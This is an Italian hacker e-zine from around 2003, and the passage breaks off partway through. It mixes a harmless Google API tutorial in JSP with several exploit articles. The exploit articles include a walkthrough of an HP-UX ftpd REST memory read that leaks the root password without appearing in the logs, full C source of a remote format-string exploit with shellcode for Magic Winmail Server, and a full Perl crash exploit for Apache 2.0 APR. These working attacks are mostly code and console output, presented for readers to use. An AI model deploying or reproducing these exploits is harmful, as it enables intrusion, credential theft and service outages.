sapere... credo proprio che ne parlo nel numero di questa zine ma nn so dipende da cyberdude... ma dude per cosa sta cyber?? Sul bulletin security ufficiale della microsoft la patch è MS02_045.asp Buona disinfestazione . ... ah grazie agli inglesi della Core security Technologies - www.corest.com sono stati loro i primi a sgamare il bug e poi Deletang il cui cognome è tutto un programma ...hihihhhi... a fare l'exploit... che vi ho pastato li sopra... Non abuso di Copy&Paste di solito ma questo exploit non avrei potuto commentarlo diversamente sempre per il fatto che credo di aver a che fare con persone che non conoscano il protocollo SMB. -------------------------< Lord Unrelated Lodeguns >------------ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> -------------------------------------------- ___________________________________ |Questo articolo lo dedico ad un mio| |amico che hanno ammazzato| |freddandolo davanti agli occhi dei| |suoi figli perchè non aveva| |voluto pagare il pizzo... Antonio| |Corbisiero ti giuro che ho| |ancora i brividi... voglio però| |ricordarti come eri... bravo| |lavoratore e ottimo padre di| |famiglia... 7 giugno 2003| |Scusami se non ho fatto di meglio..| +-----------------------------------+ -------< GOOGLE >------------------------------------------------- Proprio oggi su e-tv un canale che si prende sul satellite Astra e che consiglio a tutti di seguire il sabato pomeriggio si parlava delle potenzialità di google, inutile dirvi che avendo carta e penna ho appuntato tutto per far nascere questo tutorial che credo sia il più bello e allo stesso tempo facile tra le mie creazioni... -------< Google ma che significa >-------------------------------- Google che si pronuncia "Guugl" per chi non lo sapesse... è un gioco di parole che deriva da GOOGOL il nome è stato coniato da Milton Sirotta nipote del celebre matematico americano Kasner per identificare un numero che inizia con un 1 e continua per 100 altri zeri... inutile dirvi perchè ha scelto questa parola... -------< Google OK >------------------------------------------- Questo mitico motore di ricerca è unico al mondo per svariati motivi: LE SUE QUALITA' IN FASE SPERIMENTALE un servizio che ora google tenta di offrire ma che ancora non è andato in porto nemmeno in america, infatti per adesso è solo sperimentale, è quello di rispondere a domande impossibili sotto offerte di denaro... tipo se uno cerca una zebra di colore arancione e fuxia, manda una e-mail allo staff con scritto quanto è disposto a pagare se la ricerca ha finalità positive... questo servizio è importantissimo per le cose impossibili da trovare ke nessun altro mai e poi mai si sognerebbe di offrire. IL SUO SEGRETO E IL POSSIBILE HACKKAGGIO DELLA TOP RICERCA Ma qual'è il segreto di Google? Che domande la sua ricerca innovativa, intuitiva, inteligente, velocissima... questo si deve ai due grandi programmatori del nativo di google Larry Page e Sergey Brin i quali attraverso un sistema di riconoscimento che tecnicamente si chiama "PageRank technology" in collaborazione con l'analisi di tipo "hipertext-matching", sono riusciti a fare, creare dal nulla qualcosa di unico nel suo genere... ma vediamo 1 pò più a fondo cosa intendiamo per Hipertext Matching Analysis, beh google giudica le pagine non soffermandosi all'apparenza ma cercando di scavare a fondo cioè nell'ipertesto valutando pure tra i suoi parametri la grandezza del font e a quanti documenti simili è legata quella parola chiave... così google giudica l'importanza di una ricerca... con la tecnica pagerank che supporta 700 mila variabili il giudizio è veramente minuzioso... Un metodo per hacckare la ricerca facendo risultare il proprio sito in testa agli altri sarebbe quello di moltiplicare all'infinito una parola nel sito e di collegarla ad altri pagine simili così guadagnandosi un bel pò di spazio in grduatoria ma questo atto è un pò infame... FREE WEBSERVICES GoogleApis Bazzicando per la rete e volendo trovare un motore di ricerca che fungesse tipo google ma che in effetti fosse proprio del mio sito mi sono imbattuto in questo servizio offeto guarda un pò da chi?? da GOOGLE...il servizio è molto semplice e gratuito offre mille ricerche al giorno poi si blocca... qui di seguito ho pastato il codice ma per fare le cose in ordine prima di tutto vi dovete registrare su www.google.com\apis e dovrete scaricare l'occorrente x il giusto funzionamento... diciamo che in questo file che si trova qui giù che chiamerete googleapi.jsp prodotto da Carlo Pelliccia siete a cavallo... dovete solamente inserire il codice personale che vi darà google al momento della registrazione e il sito a cui applicare il vostro potentissimo motore di ricerca personale... ricordatevi prima di sperimentare questo pacchetto di aver ben istallato il file zip che avrete dopo la registrazione il suo nome è googleapi.jar ed diciamo che è una implementazione Java dei servizi offerti... per istallare googleapi.jar basta che lo mettiate il file nel webserver che supporti le applicazioni Java "\dir di applicazione jsp\WEB-INF\lib" comunuque è meglio che consultiate la documentazione appropriata... si potrebbe anche copiare l'archivio jar nella cartella "\dir java\ire\lib\ext" umm gli slash sono al contrario kmq hihihi.... FILE googleapi.jsp non jar mi raccomando, poi i newbies fanno confusione e si strappano i capelli dalla rabbia e dalla voglia di ammazzarmi a frustate di mouse... ------------------------------------------------------8<---cut---- <%@ page import="com.google.soap.search.*" %> <%! // Immettete qui il vostro codice personale String myKey = "codice qui!"; // Selezionate il sito cui applicare la ricerca String mySite = "informazionelibera.it"; %> Google API Test

Ricerca nel sito <%= mySite %>

<% // Recupero delle keywords String keywords = request.getParameter("keywords"); if (keywords == null) { // Se il parametro non esiste uso una stringa vuota keywords = ""; } else { // Altrimenti, elimino gli spazi ridondanti keywords = keywords.trim(); } %>
Metti qui le parole chiave che cerchi:
<% // Se c'è una richiesta, la devo processare if (!keywords.equals("")) { // Creo un oggetto GoogleSearch GoogleSearch mySearch = new GoogleSearch(); // Imposto la chiave personale mySearch.setKey(myKey); // Imposto i termini da ricercare mySearch.setQueryString(keywords + " site:" + mySite); // Uso blocco try-catch, perché la ricerca può anche fallire try { // Effettuo la ricerca e prendo i risultati GoogleSearchResult myResults = mySearch.doSearch(); GoogleSearchResultElement[] myResultElements = myResults.getResultElements(); // Inizio a stampare l'output %>
Ho trovato <%= myResultElements.length %> risultati.
    <% for (int i = 0; i < myResultElements.length; i++) { %>
  1. <% if (!myResultElements[i].getSnippet().equals("")) { %>
    <%= myResultElements[i].getSnippet() %>
    <% } %>
    <%= myResultElements[i].getCachedSize() %> - <%= myResultElements[i].getURL() %>
     
  2. <% } %>

Ci ho messo circa <%= myResults.getSearchTime() %> secondi per trovare quello che volevi...
Offerto da Google. <% } catch (GoogleSearchFault e) { // Ricerca fallita! Meglio comunicarlo all'utente... %>
Scusa ma mi stai antipatico quindi la ricerca che ho fatto non è andata a buon fine...
<% } } %> ------------------------------------------------------8<---cut---- Spero con questo tutorial di avervi fatto comprendere l'importanza di questo potentissimo strumento che si trova nelle nostre mani senza che magari ve ne siate mai resi conto... ciao raga.... pssssssssssss: please mi trovate una fidanzata sono rimasto di nuovo senza... magari fate una bella ricerca su qualche buon motore di ricerca... aspetta che forse mi viene in mente un nome... aspetta che ce l'ho sulla punta della lingua... rotfl tempo scaduto.... behhh fate voi.. eppure mi sembrava di aver trovato un buon motore di ricerca.... cazzo la mia testa...... è fusa... pssssssssssssssssssss: non usate msn nn funziona... questo me lo ricordo ho chiesto una fidanzata mi ha trovato un sito di bambole gofiabili --------------------------------------< Lord Unrelated Lodeguns> <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Exploitare HPUX ftpd sfruttando il problema nel comando REST HPUX è un demone ftpd, una vulnerabilità permette ad un utente remoto di visualizzare i file presenti nel sistema bypassando la prima richiesta di autenticazione. Sistemi Vulnerabili: - HPUX ftpd versione 1.1.214.4 La vulnerabilità viene riscontrata nel commando REST. REST permette ad un utente di ripristinare, upluodare, downloadare da una locazione. Quando un utente viene disconnesso da internet, può resumere la sessione da dove l'aveva lasciata. Inoltre l'argomento che passa al comando REST può essere usato per specificare il memory andress da leggere. Questo facilità non poco la possibilità di un utente remoto di leggere la password root dalla memoria. La descrizione per HPUX patch PHNE_21936 contiene la riga seguente: PHNE_18377: Il carattere di conversione sbagliato è stato usato usato nella format string per definire il filesize. Per questo il carattere di conversazione nella format è stato cambiato all'offset_uformat macro. Se diamo una sbirciatina in gdb ci accorgiamo come questo bug diviene exploitabile: frieza elguapo $ ftp 192.168.1.111 Connected to 192.168.1.111. 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready. Name (192.168.1.111:root): elguapo 331 Password required for elguapo. Password: 230 User elguapo logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> rest 1111111111111111 restarting at 2147483647. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. # gdb /usr/lbin/ftpd 2862 GNU gdb 4.18-hppa-991112 Copyright 1998 Free Software Foundation, Inc. /home/elguapo/2862: No such file or directory. Attaching to program: /usr/lbin/ftpd, process 2862 Unable to find __dld_flags symbol in object file. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x7fffffff: Bad address. (gdb) info registers r3 r11 r3: 7fffffff r11: 7fffffff In questo caso stiamo tentando di leggere all'indirizzo 0x7fffffff. Se proviamo un differente offset al comando REST scopriamo che abbiamo pieno controllo dell'andress appena letto! Nel gdb questo indirizzo può essere trovato nel both r3 e nel r11. Il valore che è immagazzinato in r3 è usato successivamente nel call to write() Vediamo una dimostrazione pratica: ftp> rest 200000 restarting at 200000. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d40: Bad address. ftp> rest 200002 restarting at 200002. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d42: Bad address. ftp> rest 200004 restarting at 200004. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d44: Bad address. Si dovrebbe notare che l'indirizzo dal quale stiamo leggendo sembra essere incrementato come l'offset del REST escription100= arrivati a questo punto abbiamo bisogno di trovare solamente una buona sezione di memoria per tentare di leggerlo. Si deduce inoltre dal SNOSoft che la root password è messa evidentemente in memoria. Dopo un tracing attraverso il sistema cll, troviamo come per magia l'andress nel quale la password è stata immagazzinata e può essere approvvigionato semplicemente attraverso il comando REST Durante l'autenticazione accade il seguente: open("/etc/passwd", O_RDONLY, 0666) [entry] open("/etc/passwd", O_RDONLY, 0666) ioctl(5, TCGETA, 0x7f7e61b8)[entry] ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY read(5, 0x4002fe10, 8192)[entry] read(5, 0x4002fe10, 8192)= 454 r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n / s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n : L'indirizzo 0x4002fe10 dovrebbe contenere ora la root password. E' questo l'indirizzo nel quale noi dovremmo mettere il r3 regter. REST 1073937936 dovrebbe fare il suo lavoro :D Pensandoci bene un semplice script in perl potrebbe essere usato come exploit. frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready. 331 Password required for root. 530 Login incorrect. 350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n daemon:*:1:5::/:/sbin/sh\n bin: ... Come si può notare, la root password la troviamo dopo l'offset_unformat, esattamente in "root:myrootpassword" Abbiamo exploitato dunque questo problema! La cosa migliore è che il syslog nn si accorgerà di niente!! Ebbene si, avete letto bene...perchè nei log nn sarà riportato nulla di male. Per capire meglio riporto un esempio di log: Jan 1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication failed Jan 1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect Jan 1 07:34:53 kakarot ftpd[2138]: FTP session closed SOLUZIONE ? Beh... l'unica soluzione che consiglio è quella di passare alla versione HPUX patch PHNE_18377 o superiore ( per esempio la PHNE_21936) ::[MARSIO - Branton]:: ::[sergy51@inwind.it]::   ___ ___ ___ ___ ____   | | | | | || | | | \   | | | | | || |__| | \   | |__| | | || __ | @ \   \____/ |_||_| |_|_|\_\     ::[ Research & Development ]:: ::[ www.uiha.tk ]:: <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Magic Winmail Server vulnerabile durante l'autenticazione POP3 Magic WinMail server è un software di mail server professionale. Esso supporta: SMTP, POP3, WebMail, Antivirus, Dominio multiplo, autenticazione SMTP, controllo remoto, filtri spam, alias user e domain, mail group e mail route. Una vulnerabilità nel prodotto (precisamente una format string) permette di attaccare il software causando un'esecuzione di codici arbitrari. Sistemi Vulnerabili: - Magic Winmail Server version 2.3 Sendando una format string nel campo USER durante il processo di autenticazione, un utente remoto può causare l'esecuzione del codice arbitrario. Ma vediamo con un esempio concreto di spiegare la vulnerabilità: Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\>telnet 127.0.0.1 110 +OK alpha Magic Winmail Server 2.3(Build 0402) POP3 ready user %s +OK pass %s - -ERR authorization failed Connection to host lost. C:\>type Progra~1\magicw~1\server\logs\pop3.log 2105/Y-19:48:50 2716 Connect from 127.0.0.1 2105/Y-19:48:57 1336 ?-???? not exist C:\> ^^^^^^ %s C:\>telnet 127.0.0.1 110 +OK alpha Magic Winmail Server 2.3(Build 0402) POP3 ready user %n +OK pass %n - -ERR authorization failed Connection to host lost. C:\>telnet 127.0.0.1 110 Connecting To 127.0.0.1...Could not open connection to the host, on port 110. No connection could be made because the target machine actively refused it. C:\> Riporto di seguito la sorgente dell'exploit: /****************************************** * Magic Winmail Server 2.3(Build 0402) * Remote Format string exploit. ****************************************** * Discovered by D4rkGr3y * --------------------------------------- * Coded by ThreaT. * ThreaT@Ifrance.com * --------------------------------------- * * This is the remote format string exploit * for Magic Winmail Server 2.3(Build 0402) * * This one take advantage of a format bug in the * >>> SMTP protocol <<< (not pop3) for execute * a malicious command on a vulnerable system * * usage : mwmxploit [smtp port] * + The command to execute cannot exceed 90 characters + * * compile : cl.exe mwmxploit.c /w * ******************************************** le piratage c'est mal; et quand c'est mal, c'est pas bien. */ #include #include #pragma comment (lib,"wsock32.lib") void main (int argc, char *argv[]) { SOCKET sock; char buffer[1000]; int i; // ecrasement d'un saved EIP grâce aux caractères de format :) char vuln[] = "\xec\xfc\x66\x01%x%x" "\xed\xfc\x66\x01%x%x" "\xee\xfc\x66\x01" "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%28x%n" "%97x%n%105x%hn" /* This is my specific shellcode for execute a command over the Magic Winmail process. This one can contain null bytes, enjoy ! :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Disassembly of File: mailserver.exe Code Offset = 00001000, Code Size = 000CF000 Data Offset = 000EC000, Data Size = 0002E000 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Reference To: KERNEL32.GetModuleHandleA, Ord:0000h :004B8850 FF15AC014D00 Call dword ptr [004D01AC] Reference To: KERNEL32.ExitProcess, Ord:0000h :004B88C6 FF1598014D00 Call dword ptr [004D0198] Reference To: KERNEL32.GetProcAddress, Ord:0000h :00406CE7 8B3DEC004D00 mov edi, dword ptr [004D00EC] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= //////////////////////// My shellcode \\\\\\\\\\\\\\\\\\\\\\\\\\ : EB50 jmp 00401058 : 5E pop esi : 8BEC mov ebp, esp : 83EC28 sub esp, 00000028 // je cree un stack de bourrin : C745D84B65726E mov [ebp-28], 6E72654B : C745DC656C3332 mov [ebp-24], 32336C65 // j'y place 'Kernel32' : C745E000000000 mov [ebp-20], 00000000 : C745E457696E45 mov [ebp-1C], 456E6957 : C745E878656300 mov [ebp-18], 00636578 // ici 'WinExec' // adaptez le shellcode en virant cette ligne si vraiment vous avez besoin // de 4 caractères de plus pour la commande à executer : C645EB00 mov [ebp-15], 00 : BAAC014D00 mov edx, 004D01AC : 8D45D8 lea eax, dword ptr [ebp-28] : 50 push eax : FF12 call dword ptr [edx] // eax = GetModuleHandle ("Kernel32"); : 8D5DE4 lea ebx, dword ptr [ebp-1C] : 53 push ebx : 50 push eax : BAEC004D00 mov edx, 004D00EC : FF12 call dword ptr [edx] // GetProcAdress (eax, "WinExec"); : 6A01 push 00000001 // 1 = SW_SHOW, 0 = SW_HIDE :) : 56 push esi : FFD0 call eax // WinExec (argv[2], SW_SHOW) : BA98014D00 mov edx, 004D0198 : FF12 call dword ptr [edx] // ExitProcess (); : E8ABFFFFFF call 00401008 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ EOF ///////////////////////////////// */ // Generated by Hex Workshop // shellcode.exe - Starting Offset: 4102 (0x00001006) Length: 87 (0x00000057) "\x00\x90\x90\x90\x90" // sa, c'est pour bien coller "\xEB\x50\x5E\x8B\xEC\x83\xEC\x28\xC7\x45\xD8\x4B\x65\x72\x6E\xC7" "\x45\xDC\x65\x6C\x33\x32\xC7\x45\xE0\x00\x00\x00\x00\xC7\x45\xE4" "\x57\x69\x6E\x45\xC7\x45\xE8\x78\x65\x63\x00\xC6\x45\xEB\x00\xBA" "\xAC\x01\x4D\x00\x8D\x45\xD8\x50\xFF\x12\x8D\x5D\xE4\x53\x50\xBA" "\xEC\x00\x4D\x00\xFF\x12\x6A\x01\x56\xFF\xD0\xBA\x98\x01\x4D\x00" "\xFF\x12\xE8\xAB\xFF\xFF\xFF"; SOCKADDR_IN sin; WSADATA wsadata; WORD wVersionRequested = MAKEWORD (2,0); // sa, c'est pour ce la péter printf ("* #################################### *\n" " Magic Winmail Server 2.3(Build 0402)\n" " Remote format string exploit !\n" "* #################################### *\n" " Coded By ThreaT -> ThreaT@Ifrance.com\n\n"); if (argc < 3 || strlen (argv[2]) > 90) { printf ("usage : mwmxploit [smtp port]\n\n" " + The command to execute cannot exceed 90 characters +\n"); ExitProcess (0); } if ( WSAStartup(wVersionRequested, &wsadata) ) { printf ("Erreur d'initialisation winsock !\n"); ExitProcess (1); } sin.sin_family = AF_INET; sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25); if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) { printf ("Erreur : L'adresse IP de la victime est incorrect !\n"); ExitProcess (2); } printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) ); sock = socket (AF_INET, SOCK_STREAM, 0); if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) ) { printf ("erreur : connexion impossible !\n"); ExitProcess (3); } recv (sock,buffer,1000,0); printf ("ok\n-> %s\nsending exploit code...",buffer); send (sock, vuln, strlen (vuln) + 92, 0); // envoi du shellcode send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande send (sock, "\r\n", 2, 0); // validation recv (sock,buffer,1000,0); // remote crash :) puts ("ok"); } /* Esprit curieux, tu te demande sur quoi je me suis basé pour pisser ce bout de code hideux ? D:\toolz\netcat>nc 127.0.0.1 25 220 M1 Magic Winmail Server 2.3(Build 0402) ESMTP ready AAAA 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8 x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0 x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 502 unimplemented (#5.5.1) */ /* D:\>type "c:\Program Files\Magic Winmail\server\logs\smtp.log" 0906/Y-01:50:30 1548 Connect from 127.0.0.1 0906/Y-01:51:06 1584 unrecognized command = AAAA 0x00498f71 0x0176fd10 0x0176fe3c 0x000000eb 0x0176ff80 0x00ee6c80 0x00000050 0x00ee60d9 0x00000102 0x0000011f 0x00000050 0x00eecf71 0x0000001c 0x0000001f 0x0176ff74 0x004cd2c0 0x00000001 0x00493e40 0x0176fd50 0x00000000 0x00ee5ea8 0x00ee5ea8 0x41414141 0x25783020 0x2078382e 0x2e257830 0x30207838 0x382e2578 0x78302078 0x78382e25 0x25783020 0x2078382e 0x2e257830 voila, tout est la :) */ ::[MARSIO]:: ::[sergy51@inwind.it]::   ___ ___ ___ ___ ____   | | | | | || | | | \   | | | | | || |__| | \   | |__| | | || __ | @ \   \____/ |_||_| |_|_|\_\     ::[ Research & Development ]:: ::[ www.uiha.tk ]:: <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Denial Of Service ed esecuzione di codice arbitrario in Apache APR 2.X Tutti noi credo conosciamo il famoso demone HTTPd Apache, un web-server per i moderni sistemi operativi, inclusi Unix e Microsoft Windows. Apache Portable Runtime, ovvero APR, offre una free library di strutture e routines in C, rendendo possibile un sistema di intercambiabilità layer al molti sistemi operativi. mod dav, invece, è un modulo Apache open-source che offre al server HTTP Apache la capacità di DAV, ossia Distribuited Authoring and Versioning Mandando una stringa eccessivamente lunga alla libreria ARP, precisamente alla funzione apr_psprintf() che viene usata dal server Apache, può causare un esecuzione di codice arbitrario, che spiegheremo in seguito. Sistemi Vulnerabili: Tutte le versioni vecchie di APR sono vulnerabili, incluse le versioni del server Apache HTTP 2.0.37 e 2.0.45 per sistemi Unix e Windows Ma arriviamo ai dettagli, iniziamo con spiegare la vulnerabilità al Devial Of Service. Questo aspetto può essere exploitato quando un utente remoto sendando una stringa molto lunga alla funzione vulnerabile. E' il caso di mod_dav, una richiesta all'oggetto XML di circa 12250 byte causa il crash del HTTP server su macchine Windows e non. Approssimativamente 20000 caratteri causano il crash su macchine Windows Vediamo ora ti spiegare i dettagli dell'exploit che riporterò in seguito, ai fini di capire meglio la vulnerabilità. mod_proxy mod_proxy produce un semplice messaggio quando una connessione viene fallita. Questa connessione include l'host name della destinazione. La vulnerabilità viene riscontrata nella funzione apr_psprintf(). Questo conduce ad un crash appatto che l'Host header sia estremamente lungo. mod_dav Certi metodi di accesso al DAV possono abilitare un input che può essere passato come un parametro di apr_psprintf(), precisamente una parte dell'errore "Invalid namespace" Teniamo presente che molti moduli configurano l'hostname del server nella funzione apr_psprintf() Se la funzione UseCanonicalName è in OFF, l'hostname risulta sotto controllo dell'attaccante. Inoltre tramite un lungo header HTTP/1.1 "Host" diviene possibile il crash dei moduli. Di seguito riporto l'exploit: #!/usr/bin/perl # # Apache 2.0 APR Exploit # Written By Matthew Murphy # Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl # # Ever since I unveiled the additional details of the APR flaw in # Apache 2.0.37-2.0.45, I've been under pressure to "put my money # where my mouth is", and produce exploits for the flaw. My answer # to these people was "just give me a few days until I figure them # out, and you'll be the first to know". Well, despite a slight # delay, here you have it. # # This Perl script will successfully exploit any un-patched Apache 2.0 # server that does not have the workarounds I highlighted applied. # # Okay, now it is time for my classic legal garb... # Given that this is rushed, and probably buggy in some capacity, this # is especially important here: # # No warranties are made about the performance of this tool, either # express or implied. Your use of this tool is an implicit agreement # that you will not utilize it against a network if any of the following # occur: # # You do not administer the network # You are not the owner of the network, and do not have written permission # from the owner for testing of this potential vulnerability (HP # speak there! :-D). # Networks other than your own may be impacted by use of this tool in some # way. # # You also agree NOT to hold the author of the tool responsible for any # damage resulting from its use, be it accidental or intentional, and also # agree that the consequences of utilizing this tool (and any damage such # use creates) are solely your responsibility. # # Contact: # E-mail: mattmurphy@kc.rr.com # Web: http://www.techie.hopto.org/ # AIM: NetAddict4109 # or for the Windows folk among us: # aim:goim?screenname=NetAddict4109 # # Enjoy! # Base64 Encoder # # If you want authentication with the server via HTTP's lame Basic # auth, put the proper string to encode BASE64 content, and use # '%s' to represent the credentials being encoded. For instance: # # base64 %s # # would result in: # # base64 userid:password # # If your decoder requires you to use STDIN to pass the password # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not # use '%s' on the command-line. $BASE64_CMD_STRING = "use_base64_encoder_here %s"; # Base64 encoder piping # # If your encoder requires the password to be written to STDIN, # set this to a nonzero value. NOTE: This requires support for # bi-directional pipes on your OS version. $BASE64_USE_STDIN = 0; # Base64 encoder input handling # # If your encoder requires a newline after your credentials, # set this to your newline character. $BASE64_WRITE_NL = ""; use IO::Socket; print STDOUT "Apache 2.0 APR Exploit\r\n"; print STDOUT "By Matthew Murphy\r\n\r\n"; print STDOUT "Enter the hostname/IP address of the server: "; $line = ; $host = mychomp($line); print STDOUT "Enter the port of the server \[80\]: "; $line = ; $port = mychomp($line); print STDOUT "Use authentication credentials for the session \[Y/N\]? "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { print STDOUT "What username shall we use: "; $line = ; $user = mychomp($line); print STDOUT "What password shall we use: "; $line = ; $pass = mychomp($line); $auth = "$user:$pass"; if ($BASE64_USE_STDIN) { # l33t Perl piping trix; NOTE: This is definitely # Alpha code! :-) pipe(STDOUTREAD, STDOUTWRITE); pipe(STDINREAD, STDINWRITE); open(OLDSTDIN, "&STDIN"); open(OLDSTDOUT, ">&STDOUT"); open(STDIN, "&STDINREAD"); open(STDOUT, ">&STDOUTWRITE"); close(STDINREAD); close(STDOUTWRITE); system($BASE64_CMD_STRING); open(STDIN, "&OLDSTDIN"); open(STDOUT, "&>OLDSTDOUT"); close(OLDSTDIN); close(OLDSTDOUT); print STDINWRITE $auth; close(STDINWRITE); read(STDOUTREAD, $base64, 4096); # Edit for insane passwords close(STDOUTREAD); } else { open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|"); read(READOUTPUT, $base64, 4096); # See above close(READOUTPUT); } # Another hack for dealing with base64 encoders that output # multi-lined encoded text. HTTP specifically calls for a # single line. Note that this pattern also messes with spaces, # tabs, etc., but base64 doesn't use those either, so this # shouldn't matter. $base64 = join("", split(/ /, $base64)); } else { $base64 = undef; } $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1"); print STDOUT "Exploiting a proxy server \[Y/N\]? "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { print $f "GET / HTTP/1.1\x0d\x0a"; # Apache 2.0 tries to limit header inputs, but uses a hash table # that ultimately concatenates multiple headers of the same name # together with ", " between them, so: # # Host: a # Host: b # # Bypasses Apache's buffer size checks, but ends up as: # # Host: a,b # # When processed. Confirm this with a TRACE against your server: # # TRACE / HTTP/1.1 # Host: a # Host: b # # The "message/http" body you receive will contain: # # TRACE / HTTP/1.1 # Host: a,b # # So, for those of you who are confused by this code fragment, # this is what it ultimately achieves! for ($i = 0; $i < 10; $i++) { print $f "Host: ".("A"x2000)."\r\n"; } if (defined($base64)) { print $f "Proxy-Authorization: Basic ".$base64."\r\n"; } print $f "\r\n"; } else { print STDOUT "What resource should be probed: "; $line = ; $res = mychomp($line); print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { # WARNING: # Another section of alpha code here; mod_dav tends to barf # if given the smallest inconsistency, and this is not # exactly well-researched. If this doesn't work for you, # target your DAV repository as a typical resource: if # UseCanonicalName On hasn't been set explicitly, mod_dav # will choke on that as well. # # STunnel should not have issues with this, as you can't # use a "Host" header in an SSL connection anyway, so # that is no problem. # # Note that if the body is too long, IIS servers will also # die (assuming of course, that the latest IIS cumulative # patch has not been applied), as they have had problems # dealing with WebDAV in the very recent past. # XML Body of Request # # If everything works, mod_dav will attempt to format a # message with apr_psprintf() to indicate that our # namespace is invalid, leading to a crash. $xmlbody = "\r\n"; $xmlbody.= "\r\n"; $xmlbody.= "\x20\x20\x20\x20\r\n"; $xmlbody.= ""; # HTTP headers print $f "PROPFIND $res HTTP/1.1\r\n"; print $f "Host: $host:$port\r\n"; print $f "Depth: 1\r\n"; print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n"; print $f "Content-Length: ".length($body)."\r\n\r\n"; if (defined($base64)) { print $f "Authorization: Basic ".$base64."\r\n"; } print $f "$xmlbody\r\n\r\n"; } else { # This does *almost* the exact same thing as the mod_proxy # code, and could be considered wasteful, but a few extra # CPU cycles never killed anybody. :-( print $f "GET $res HTTP/1.1\r\n"; for ($i = 0; $i < 10; $i++) { print $f "Host: ".("A"x2000)."\r\n"; } if (defined($base64)) { print $f "Authorization: Basic ".$base64."\r\n"; } print $f "\r\n"; } } while (defined($ln = <$f>)) { print STDOUT $ln; } undef $f; exit; # FIXED: The perl chomp() function is broken on my distro, # so I hacked a fix to work around it. This note applies # to ActivePerl 5.8.x -- I haven't tried others. This is # another hackish fix, which seems to be the entire style # of this code. I'll write better toys when I have time to # write better toys. sub mychomp { my $data; my $arg = shift; my $CRLF; if ($^O == "MSWin32") { $CRLF = 1; } else { $CRLF = 0; } $data = substr($arg, 0, length($arg) - $CRLF); return $data; } ::[Branton]::   ___ ___ ___ ___ ____   | | | | | || | | | \   | | | | | || |__| | \   | |__| | | || __ | @ \   \____/ |_||_| |_|_|\_\     ::[ Research & Development ]:: ::[ www.uiha.tk ]:: <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> BUG "Estensioni del server di FronT Page" Autore:leonhack Bug:Estensioni del server di FronT Page Allora inizio premettendo che questo bug è uno dei bug più facili da capire e da mettere in opera. Occorenti: ..::Microzoz Office 2000::. Voi mi direte Che centra office 2000 ? I programmatori hanno voluto integrare nel webserver delle estensioni di Front Page per gestire al meglio il proprio sito però hanno sbagliato ! Passiamo alla pratica: Questo bug ci consente una entrata da root, facendo semplicemente un piccolo passaggio per un programma.Ora non vi svelo il trucco perchè se no sembrerei un lamer,quindi leggete questo articolo e capirete come 